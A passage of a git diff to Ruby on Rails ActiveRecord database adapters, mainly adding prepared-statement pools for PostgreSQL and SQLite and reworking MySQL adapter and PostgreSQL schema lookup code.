and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." - else - raise - end + def execute_and_free(sql, name = nil) + result = execute(sql, name) + ret = yield result + result.free + ret end def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc: @@ -444,11 +323,6 @@ module ActiveRecord end alias :create :insert_sql - def update_sql(sql, name = nil) #:nodoc: - super - @connection.affected_rows - end - def exec_delete(sql, name, binds) log(sql, name, binds) do exec_stmt(sql, name, binds) do |cols, stmt| @@ -464,359 +338,8 @@ module ActiveRecord # Transactions aren't supported end - def commit_db_transaction #:nodoc: - execute "COMMIT" - rescue Exception - # Transactions aren't supported - end - - def rollback_db_transaction #:nodoc: - execute "ROLLBACK" - rescue Exception - # Transactions aren't supported - end - - def create_savepoint - execute("SAVEPOINT #{current_savepoint_name}") - end - - def rollback_to_savepoint - execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}") - end - - def release_savepoint - execute("RELEASE SAVEPOINT #{current_savepoint_name}") - end - - def add_limit_offset!(sql, options) #:nodoc: - limit, offset = options[:limit], options[:offset] - if limit && offset - sql << " LIMIT #{offset.to_i}, #{sanitize_limit(limit)}" - elsif limit - sql << " LIMIT #{sanitize_limit(limit)}" - elsif offset - sql << " OFFSET #{offset.to_i}" - end - sql - end - deprecate :add_limit_offset! - - # SCHEMA STATEMENTS ======================================== - - def structure_dump #:nodoc: - if supports_views? - sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'" - else - sql = "SHOW TABLES" - end - - select_all(sql).map do |table| - table.delete('Table_type') - sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}" - exec_without_stmt(sql).first['Create Table'] + ";\n\n" - end.join("") - end - - # Drops the database specified on the +name+ attribute - # and creates it again using the provided +options+. - def recreate_database(name, options = {}) #:nodoc: - drop_database(name) - create_database(name, options) - end - - # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>. - # Charset defaults to utf8. - # - # Example: - # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin' - # create_database 'matt_development' - # create_database 'matt_development', :charset => :big5 - def create_database(name, options = {}) - if options[:collation] - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`" - else - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`" - end - end - - # Drops a MySQL database. - # - # Example: - # drop_database 'sebastian_development' - def drop_database(name) #:nodoc: - execute "DROP DATABASE IF EXISTS `#{name}`" - end - - def current_database - select_value 'SELECT DATABASE() as db' - end - - # Returns the database character set. - def charset - show_variable 'character_set_database' - end - - # Returns the database collation strategy. - def collation - show_variable 'collation_database' - end - - def tables(name = nil, database = nil) #:nodoc: - result = execute(["SHOW TABLES", database].compact.join(' IN '), 'SCHEMA') - tables = result.collect { |field| field[0] } - result.free - tables - end - - def table_exists?(name) - return true if super - - name = name.to_s - schema, table = name.split('.', 2) - - unless table # A table was provided without a schema - table = schema - schema = nil - end - - tables(nil, schema).include? table - end - - def drop_table(table_name, options = {}) - super(table_name, options) - end - - # Returns an array of indexes for the given table. - def indexes(table_name, name = nil)#:nodoc: - indexes = [] - current_index = nil - result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", name) - result.each do |row| - if current_index != row[2] - next if row[2] == "PRIMARY" # skip the primary key - current_index = row[2] - indexes << IndexDefinition.new(row[0], row[2], row[1] == "0", [], []) - end - - indexes.last.columns << row[4] - indexes.last.lengths << row[7] - end - result.free - indexes - end - - # Returns an array of +MysqlColumn+ objects for the table specified by +table_name+. - def columns(table_name, name = nil)#:nodoc: - sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}" - result = execute(sql, 'SCHEMA') - columns = result.collect { |field| MysqlColumn.new(field[0], field[4], field[1], field[2] == "YES") } - result.free - columns - end - - def create_table(table_name, options = {}) #:nodoc: - super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB")) - end - - # Renames a table. - # - # Example: - # rename_table('octopuses', 'octopi') - def rename_table(table_name, new_name) - execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}" - end - - def bulk_change_table(table_name, operations) #:nodoc: - sqls = operations.map do |command, args| - table, arguments = args.shift, args - method = :"#{command}_sql" - - if respond_to?(method) - send(method, table, *arguments) - else - raise "Unknown method called : #{method}(#{arguments.inspect})" - end - end.flatten.join(", ") - - execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}") - end - - def add_column(table_name, column_name, type, options = {}) - execute("ALTER TABLE #{quote_table_name(table_name)} #{add_column_sql(table_name, column_name, type, options)}") - end - - def change_column_default(table_name, column_name, default) #:nodoc: - column = column_for(table_name, column_name) - change_column table_name, column_name, column.sql_type, :default => default - end - - def change_column_null(table_name, column_name, null, default = nil) - column = column_for(table_name, column_name) - - unless null || default.nil? - execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") - end - - change_column table_name, column_name, column.sql_type, :null => null - end - - def change_column(table_name, column_name, type, options = {}) #:nodoc: - execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}") - end - - def rename_column(table_name, column_name, new_column_name) #:nodoc: - execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}") - end - - # Maps logical Rails types to MySQL-specific data types. - def type_to_sql(type, limit = nil, precision = nil, scale = nil) - return super unless type.to_s == 'integer' - - case limit - when 1; 'tinyint' - when 2; 'smallint' - when 3; 'mediumint' - when nil, 4, 11; 'int(11)' # compatibility with MySQL default - when 5..8; 'bigint' - else raise(ActiveRecordError, "No integer type has byte size #{limit}") - end - end - - def add_column_position!(sql, options) - if options[:first] - sql << " FIRST" - elsif options[:after] - sql << " AFTER #{quote_column_name(options[:after])}" - end - end - - # SHOW VARIABLES LIKE 'name' - def show_variable(name) - variables = select_all("SHOW VARIABLES LIKE '#{name}'") - variables.first['Value'] unless variables.empty? - end - - # Returns a table's primary key and belonging sequence. - def pk_and_sequence_for(table) #:nodoc: - keys = [] - result = execute("describe #{quote_table_name(table)}", 'SCHEMA') - result.each_hash do |h| - keys << h["Field"]if h["Key"] == "PRI" - end - result.free - keys.length == 1 ? [keys.first, nil] : nil - end - - # Returns just a table's primary key - def primary_key(table) - pk_and_sequence = pk_and_sequence_for(table) - pk_and_sequence && pk_and_sequence.first - end - - def case_sensitive_equality_operator - "= BINARY" - end - deprecate :case_sensitive_equality_operator - - def case_sensitive_modifier(node) - Arel::Nodes::Bin.new(node) - end - - def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key) - where_sql - end - - protected - def quoted_columns_for_index(column_names, options = {}) - length = options[:length] if options.is_a?(Hash) - - quoted_column_names = case length - when Hash - column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) } - when Fixnum - column_names.map {|name| "#{quote_column_name(name)}(#{length})"} - else - column_names.map {|name| quote_column_name(name) } - end - end - - def translate_exception(exception, message) - return super unless exception.respond_to?(:errno) - - case exception.errno - when 1062 - RecordNotUnique.new(message, exception) - when 1452 - InvalidForeignKey.new(message, exception) - else - super - end - end - - def add_column_sql(table_name, column_name, type, options = {}) - add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(add_column_sql, options) - add_column_position!(add_column_sql, options) - add_column_sql - end - - def remove_column_sql(table_name, *column_names) - columns_for_remove(table_name, *column_names).map {|column_name| "DROP #{column_name}" } - end - alias :remove_columns_sql :remove_column - - def change_column_sql(table_name, column_name, type, options = {}) - column = column_for(table_name, column_name) - - unless options_include_default?(options) - options[:default] = column.default - end - - unless options.has_key?(:null) - options[:null] = column.null - end - - change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(change_column_sql, options) - add_column_position!(change_column_sql, options) - change_column_sql - end - - def rename_column_sql(table_name, column_name, new_column_name) - options = {} - - if column = columns(table_name).find { |c| c.name == column_name.to_s } - options[:default] = column.default - options[:null] = column.null - else - raise ActiveRecordError, "No such column: #{table_name}.#{column_name}" - end - - current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"] - rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}" - add_column_options!(rename_column_sql, options) - rename_column_sql - end - - def add_index_sql(table_name, column_name, options = {}) - index_name, index_type, index_columns = add_index_options(table_name, column_name, options) - "ADD #{index_type} INDEX #{index_name} (#{index_columns})" - end - - def remove_index_sql(table_name, options = {}) - index_name = index_name_for_remove(table_name, options) - "DROP INDEX #{index_name}" - end - - def add_timestamps_sql(table_name) - [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)] - end - - def remove_timestamps_sql(table_name) - [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)] - end - private + def exec_stmt(sql, name, binds) cache = {} if binds.empty? @@ -828,12 +351,11 @@ module ActiveRecord stmt = cache[:stmt] end - begin stmt.execute(*binds.map { |col, val| type_cast(val, col) }) rescue Mysql::Error => e # Older versions of MySQL leave the prepared statement in a bad - # place when an error occurs. To support older mysql versions, we + # place when an error occurs. To support older mysql versions, we # need to close the statement and delete the statement from the # cache. stmt.close @@ -857,59 +379,48 @@ module ActiveRecord result end - def connect - encoding = @config[:encoding] - if encoding - @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil - end + def connect + encoding = @config[:encoding] + if encoding + @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil + end - if @config[:sslca] || @config[:sslkey] - @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher]) - end + if @config[:sslca] || @config[:sslkey] + @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher]) + end - @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout] - @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout] - @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout] + @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout] + @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout] + @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout] - @connection.real_connect(*@connection_options) + @connection.real_connect(*@connection_options) - # reconnect must be set after real_connect is called, because real_connect sets it to false internally - @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=) + # reconnect must be set after real_connect is called, because real_connect sets it to false internally + @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=) - configure_connection - end - - def configure_connection - encoding = @config[:encoding] - execute("SET NAMES '#{encoding}'", :skip_logging) if encoding - - # By default, MySQL 'where id is null' selects the last inserted id. - # Turn this off. http://dev.rubyonrails.org/ticket/6778 - execute("SET SQL_AUTO_IS_NULL=0", :skip_logging) - end + configure_connection + end - def select(sql, name = nil, binds = []) - @connection.query_with_result = true - rows = exec_query(sql, name, binds).to_a - @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped - rows - end + def configure_connection + encoding = @config[:encoding] + execute("SET NAMES '#{encoding}'", :skip_logging) if encoding - def supports_views? - version[0] >= 5 - end + # By default, MySQL 'where id is null' selects the last inserted id. + # Turn this off. http://dev.rubyonrails.org/ticket/6778 + execute("SET SQL_AUTO_IS_NULL=0", :skip_logging) + end - # Returns the version of the connected MySQL server. - def version - @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } - end + def select(sql, name = nil, binds = []) + @connection.query_with_result = true + rows = exec_query(sql, name, binds).to_a + @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped + rows + end - def column_for(table_name, column_name) - unless column = columns(table_name).find { |c| c.name == column_name.to_s } - raise "No such column: #{table_name}.#{column_name}" - end - column - end + # Returns the version of the connected MySQL server. + def version + @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } + end end end end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb index 0a460bc086..e8a43e7bce 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb @@ -1,6 +1,6 @@ require 'active_record/connection_adapters/abstract_adapter' -require 'active_support/core_ext/kernel/requires' require 'active_support/core_ext/object/blank' +require 'active_record/connection_adapters/statement_pool' # Make sure we're using pg high enough for PGResult#values gem 'pg', '~> 0.11' @@ -199,7 +199,7 @@ module ActiveRecord # * <tt>:password</tt> - Defaults to nothing. # * <tt>:database</tt> - The name of the database. No default, must be provided. # * <tt>:schema_search_path</tt> - An optional schema search path for the connection given - # as a string of comma-separated schema names. This is backward-compatible with the <tt>:schema_order</tt> option. + # as a string of comma-separated schema names. This is backward-compatible with the <tt>:schema_order</tt> option. # * <tt>:encoding</tt> - An optional client encoding that is used in a <tt>SET client_encoding TO # <encoding></tt> call on the connection. # * <tt>:min_messages</tt> - An optional client min messages that is used in a @@ -247,6 +247,58 @@ module ActiveRecord true end + class StatementPool < ConnectionAdapters::StatementPool + def initialize(connection, max) + super + @counter = 0 + @cache = Hash.new { |h,pid| h[pid] = {} } + end + + def each(&block); cache.each(&block); end + def key?(key); cache.key?(key); end + def [](key); cache[key]; end + def length; cache.length; end + + def next_key + "a#{@counter + 1}" + end + + def []=(sql, key) + while @max <= cache.size + dealloc(cache.shift.last) + end + @counter += 1 + cache[sql] = key + end + + def clear + cache.each_value do |stmt_key| + dealloc stmt_key + end + cache.clear + end + + def delete(sql_key) + dealloc cache[sql_key] + cache.delete sql_key + end + + private + def cache + @cache[$$] + end + + def dealloc(key) + @connection.query "DEALLOCATE #{key}" if connection_active? + end + + def connection_active? + @connection.status == PGconn::CONNECTION_OK + rescue PGError + false + end + end + # Initializes and connects a PostgreSQL adapter. def initialize(connection, logger, connection_parameters, config) super(connection, logger) @@ -255,9 +307,10 @@ module ActiveRecord # @local_tz is initialized as nil to avoid warnings when connect tries to use it @local_tz = nil @table_alias_length = nil - @statements = {} connect + @statements = StatementPool.new @connection, + config.fetch(:statement_limit) { 1000 } if postgresql_version < 80200 raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!" @@ -266,11 +319,12 @@ module ActiveRecord @local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"] end + def self.visitor_for(pool) # :nodoc: + Arel::Visitors::PostgreSQL.new(pool) + end + # Clears the prepared statements cache. def clear_cache! - @statements.each_value do |value| - @connection.query "DEALLOCATE #{value}" - end @statements.clear end @@ -467,10 +521,11 @@ module ActiveRecord # Executes an INSERT query and returns the new record's ID def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) - # Extract the table from the insert sql. Yuck. - _, table = extract_schema_and_table(sql.split(" ", 4)[2]) - - pk ||= primary_key(table) + unless pk + # Extract the table from the insert sql. Yuck. + table_ref = extract_table_ref_from_insert_sql(sql) + pk = primary_key(table_ref) if table_ref + end if pk select_value("#{sql} RETURNING #{quote_column_name(pk)}") @@ -566,9 +621,9 @@ module ActiveRecord def sql_for_insert(sql, pk, id_value, sequence_name, binds) unless pk - _, table = extract_schema_and_table(sql.split(" ", 4)[2]) - - pk = primary_key(table) + # Extract the table from the insert sql. Yuck. + table_ref = extract_table_ref_from_insert_sql(sql) + pk = primary_key(table_ref) if table_ref end sql = "#{sql} RETURNING #{quote_column_name(pk)}" if pk @@ -614,12 +669,14 @@ module ActiveRecord # SCHEMA STATEMENTS ======================================== - def recreate_database(name) #:nodoc: + # Drops the database specified on the +name+ attribute + # and creates it again using the provided +options+. + def recreate_database(name, options = {}) #:nodoc: drop_database(name) - create_database(name) + create_database(name, options) end - # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>, + # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>, # <tt>:encoding</tt>, <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>). # @@ -666,34 +723,33 @@ module ActiveRecord SQL end + # Returns true if table exists. + # If the schema is not specified as part of +name+ then it will only find tables within + # the current schema search path (regardless of permissions to access tables in other schemas) def table_exists?(name) - schema, table = extract_schema_and_table(name.to_s) + schema, table = Utils.extract_schema_and_table(name.to_s) + return false unless table - binds = [[nil, table.gsub(/(^"|"$)/,'')]] + binds = [[nil, table]] binds << [nil, schema] if schema exec_query(<<-SQL, 'SCHEMA', binds).rows.first[0].to_i > 0 SELECT COUNT(*) - FROM pg_tables - WHERE tablename = $1 - #{schema ? "AND schemaname = $2" : ''} + FROM pg_class c + LEFT JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE c.relkind in ('v','r') + AND c.relname = $1 + AND n.nspname = #{schema ? '$2' : 'ANY (current_schemas(false))'} SQL end - # Extracts the table and schema name from +name+ - def extract_schema_and_table(name) - schema, table = name.split('.', 2) - - unless table # A table was provided without a schema - table = schema - schema = nil - end - - if name =~ /^"/ # Handle quoted table names - table = name - schema = nil - end - [schema, table] + # Returns true if schema exists. + def schema_exists?(name) + exec_query(<<-SQL, 'SCHEMA', [[nil, name]]).rows.first[0].to_i > 0 + SELECT COUNT(*) + FROM pg_namespace + WHERE nspname = $1 + SQL end # Returns an array of indexes for the given table. @@ -743,6 +799,11 @@ module ActiveRecord query('select current_database()')[0][0] end + # Returns the current schema name. + def current_schema + query('SELECT current_schema', 'SCHEMA')[0][0] + end + # Returns the current database encoding format. def encoding query(<<-end_sql)[0][0] @@ -806,7 +867,7 @@ module ActiveRecord end if pk && sequence - quoted_sequence = quote_column_name(sequence) + quoted_sequence = quote_table_name(sequence) select_value <<-end_sql, 'Reset sequence' SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false) @@ -819,18 +880,25 @@ module ActiveRecord # First try looking for a sequence with a dependency on the # given table's primary key. result = exec_query(<<-end_sql, 'SCHEMA').rows.first - SELECT attr.attname, seq.relname + SELECT attr.attname, ns.nspname, seq.relname FROM pg_class seq INNER JOIN pg_depend dep ON seq.oid = dep.objid INNER JOIN pg_attribute attr ON attr.attrelid = dep.refobjid AND attr.attnum = dep.refobjsubid INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.conkey[1] + INNER JOIN pg_namespace ns ON seq.relnamespace = ns.oid WHERE seq.relkind = 'S' AND cons.contype = 'p' AND dep.refobjid = '#{quote_table_name(table)}'::regclass end_sql # [primary_key, sequence] - [result.first, result.last] + if result.second == 'public' then + sequence = result.last + else + sequence = result.second+'.'+result.last + end + + [result.first, sequence] rescue nil end @@ -854,12 +922,14 @@ module ActiveRecord # Example: # rename_table('octopuses', 'octopi') def rename_table(name, new_name) + clear_cache! execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}" end # Adds a new column to the named table. # See TableDefinition#column for details of the options you can use. def add_column(table_name, column_name, type, options = {}) + clear_cache! add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" add_column_options!(add_column_sql, options) @@ -868,6 +938,7 @@ module ActiveRecord # Changes the column of a table. def change_column(table_name, column_name, type, options = {}) + clear_cache! quoted_table_name = quote_table_name(table_name) execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" @@ -878,10 +949,12 @@ module ActiveRecord # Changes the default value of a table column. def change_column_default(table_name, column_name, default) + clear_cache! execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}" end def change_column_null(table_name, column_name, null, default = nil) + clear_cache! unless null || default.nil? execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") end @@ -890,6 +963,7 @@ module ActiveRecord # Renames a column in a table. def rename_column(table_name, column_name, new_column_name) + clear_cache! execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}" end @@ -929,13 +1003,32 @@ module ActiveRecord # Construct a clean list of column names from the ORDER BY clause, removing # any ASC/DESC modifiers - order_columns = orders.collect { |s| s =~ /^(.+)\s+(ASC|DESC)\s*$/i ? $1 : s } + order_columns = orders.collect { |s| s.gsub(/\s+(ASC|DESC)\s*/i, '') } order_columns.delete_if { |c| c.blank? } order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| "#{s} AS alias_#{i}" } "DISTINCT #{columns}, #{order_columns * ', '}" end + module Utils + extend self + + # Returns an array of <tt>[schema_name, table_name]</tt> extracted from +name+. + # +schema_name+ is nil if not specified in +name+. + # +schema_name+ and +table_name+ exclude surrounding quotes (regardless of whether provided in +name+) + # +name+ supports the range of schema/table references understood by PostgreSQL, for example: + # + # * <tt>table_name</tt> + # * <tt>"table.name"</tt> + # * <tt>schema_name.table_name</tt> + # * <tt>schema_name."table.name"</tt> + # * <tt>"schema.name"."table name"</tt> + def extract_schema_and_table(name) + table, schema = name.scan(/[^".\s]+|"[^"]*"/)[0..1].collect{|m| m.gsub(/(^"|"$)/,'') }.reverse + [schema, table] + end + end + protected # Returns the version of the connected PostgreSQL server. def postgresql_version @@ -954,27 +1047,55 @@ module ActiveRecord end private - def exec_no_cache(sql, binds) - @connection.async_exec(sql) - end + FEATURE_NOT_SUPPORTED = "0A000" # :nodoc: - def exec_cache(sql, binds) - unless @statements.key? sql - nextkey = "a#{@statements.length + 1}" - @connection.prepare nextkey, sql - @statements[sql] = nextkey + def exec_no_cache(sql, binds) + @connection.async_exec(sql) end - key = @statements[sql] + def exec_cache(sql, binds) + begin + stmt_key = prepare_statement sql + + # Clear the queue + @connection.get_last_result + @connection.send_query_prepared(stmt_key, binds.map { |col, val| + type_cast(val, col) + }) + @connection.block + @connection.get_last_result + rescue PGError => e + # Get the PG code for the failure. Annoyingly, the code for + # prepared statements whose return value may have changed is + # FEATURE_NOT_SUPPORTED. Check here for more details: + # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573 + code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE) + if FEATURE_NOT_SUPPORTED == code + @statements.delete sql_key(sql) + retry + else + raise e + end + end + end - # Clear the queue - @connection.get_last_result - @connection.send_query_prepared(key, binds.map { |col, val| - type_cast(val, col) - }) - @connection.block - @connection.get_last_result - end + # Returns the statement identifier for the client side cache + # of statements + def sql_key(sql) + "#{schema_search_path}-#{sql}" + end + + # Prepare the statement if it hasn't been prepared, return + # the statement key. + def prepare_statement(sql) + sql_key = sql_key(sql) + unless @statements.key? sql_key + nextkey = @statements.next_key + @connection.prepare nextkey, sql + @statements[sql_key] = nextkey + end + @statements[sql_key] + end # The internal PostgreSQL identifier of the money data type. MONEY_COLUMN_TYPE_OID = 790 #:nodoc: @@ -1074,9 +1195,14 @@ module ActiveRecord end end - def table_definition - TableDefinition.new(self) - end + def extract_table_ref_from_insert_sql(sql) + sql[/into\s+([^\(]*).*values\s*\(/i] + $1.strip if $1 + end + + def table_definition + TableDefinition.new(self) + end end end end diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb index c3a7b039ff..0a0da0b5d3 100644 --- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb @@ -1,4 +1,6 @@ require 'active_record/connection_adapters/sqlite_adapter' + +gem 'sqlite3', '~> 1.3.4' require 'sqlite3' module ActiveRecord diff --git a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb index 4b25384664..f74f3e6ec8 100644 --- a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb @@ -1,5 +1,6 @@ require 'active_record/connection_adapters/abstract_adapter' -require 'active_support/core_ext/kernel/requires' +require 'active_record/connection_adapters/statement_pool' +require 'active_support/core_ext/string/encoding' module ActiveRecord module ConnectionAdapters #:nodoc: @@ -48,12 +49,52 @@ module ActiveRecord end end + class StatementPool < ConnectionAdapters::StatementPool + def initialize(connection, max) + super + @cache = Hash.new { |h,pid| h[pid] = {} } + end + + def each(&block); cache.each(&block); end + def key?(key); cache.key?(key); end + def [](key); cache[key]; end + def length; cache.length; end + + def []=(sql, key) + while @max <= cache.size + dealloc(cache.shift.last[:stmt]) + end + cache[sql] = key + end + + def clear + cache.values.each do |hash| + dealloc hash[:stmt] + end + cache.clear + end + + private + def cache + @cache[$$] + end + + def dealloc(stmt) + stmt.close unless stmt.closed? + end + end + def initialize(connection, logger, config) super(connection, logger) - @statements = {} + @statements = StatementPool.new(@connection, + config.fetch(:statement_limit) { 1000 }) @config = config end + def self.visitor_for(pool) # :nodoc: + Arel::Visitors::SQLite.new(pool) + end + def adapter_name #:nodoc: 'SQLite' end @@ -141,7 +182,7 @@ module ActiveRecord end def quote_column_name(name) #:nodoc: - %Q("#{name}") + %Q("#{name.to_s.gsub('"', '""')}") end # Quote date/time values for use in SQL input. Includes microseconds @@ -154,6 +195,26 @@ module ActiveRecord end end + if "<3".encoding_aware? + def type_cast(value, column) # :nodoc: + return value.to_f if BigDecimal === value + return super unless String === value + return super unless column && value + + value = super + if column.type == :string && value.encoding == Encoding::ASCII_8BIT + @logger.error "Binary data inserted for `string` type on column `#{column.name}`" + value.encode! 'utf-8' + end + value + end + else + def type_cast(value, column) # :nodoc: + return super unless BigDecimal === value + + value.to_f + end + end # DATABASE STATEMENTS ====================================== @@ -230,15 +291,15 @@ module ActiveRecord end def begin_db_transaction #:nodoc: - @connection.transaction + log('begin transaction',nil) { @connection.transaction } end def commit_db_transaction #:nodoc: - @connection.commit + log('commit transaction',nil) { @connection.commit } end def rollback_db_transaction #:nodoc: - @connection.rollback + log('rollback transaction',nil) { @connection.rollback } end # SCHEMA STATEMENTS ======================================== @@ -320,7 +381,7 @@ module ActiveRecord end def remove_column(table_name, *column_names) #:nodoc: - raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.empty? + raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.empty? column_names.flatten.each do |column_name| alter_table(table_name) do |definition| definition.columns.delete(definition[column_name]) @@ -352,6 +413,8 @@ module ActiveRecord self.limit = options[:limit] if options.include?(:limit) self.default = options[:default] if include_default self.null = options[:null] if options.include?(:null) + self.precision = options[:precision] if options.include?(:precision) + self.scale = options[:scale] if options.include?(:scale) end end end @@ -408,6 +471,7 @@ module ActiveRecord table_definition.column(column_name, column.type, :limit => column.limit, :default => column.default, + :precision => column.precision, :scale => column.scale, :null => column.null) end table_definition.primary_key from_primary_key if from_primary_key diff --git a/activerecord/lib/active_record/connection_adapters/statement_pool.rb b/activerecord/lib/active_record/connection_adapters/statement_pool.rb new file mode 100644 index 0000000000..c6b1bc8b5b --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/statement_pool.rb @@ -0,0 +1,40 @@ +module ActiveRecord + module ConnectionAdapters + class StatementPool + include Enumerable + + def initialize(connection, max = 1000) + @connection = connection + @max = max + end + + def each + raise NotImplementedError + end + + def key?(key) + raise NotImplementedError + end + + def [](key) + raise NotImplementedError + end + + def length + raise NotImplementedError + end + + def []=(sql, key) + raise NotImplementedError + end + + def clear + raise NotImplementedError + end + + def delete(key) + raise NotImplementedError + end + end + end +end diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb index 7839f03848..3c7defedac 100644 --- a/activerecord/lib/active_record/counter_cache.rb +++ b/activerecord/lib/active_record/counter_cache.rb @@ -2,7 +2,7 @@ module ActiveRecord # = Active Record Counter Cache module CounterCache # Resets one or more counter caches to their correct value using an SQL - # count query. This is useful when adding new counter caches, or if the + # count query. This is useful when adding new counter caches, or if the # counter has been corrupted or modified directly by SQL. # # ==== Parameters @@ -33,7 +33,7 @@ module ActiveRecord stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({ arel_table[counter_name] => object.send(association).count }) - connection.update stmt.to_sql + connection.update stmt end return true end diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb index ea1709cb1f..fc80f3081e 100644 --- a/activerecord/lib/active_record/errors.rb +++ b/activerecord/lib/active_record/errors.rb @@ -87,7 +87,7 @@ module ActiveRecord # # For example, in # - # Location.find :all, :conditions => ["lat = ? AND lng = ?", 53.7362] + # Location.where("lat = ? AND lng = ?", 53.7362) # # two placeholders are given but only one variable to fill them. class PreparedStatementInvalid < ActiveRecordError @@ -99,6 +99,16 @@ module ActiveRecord # # Read 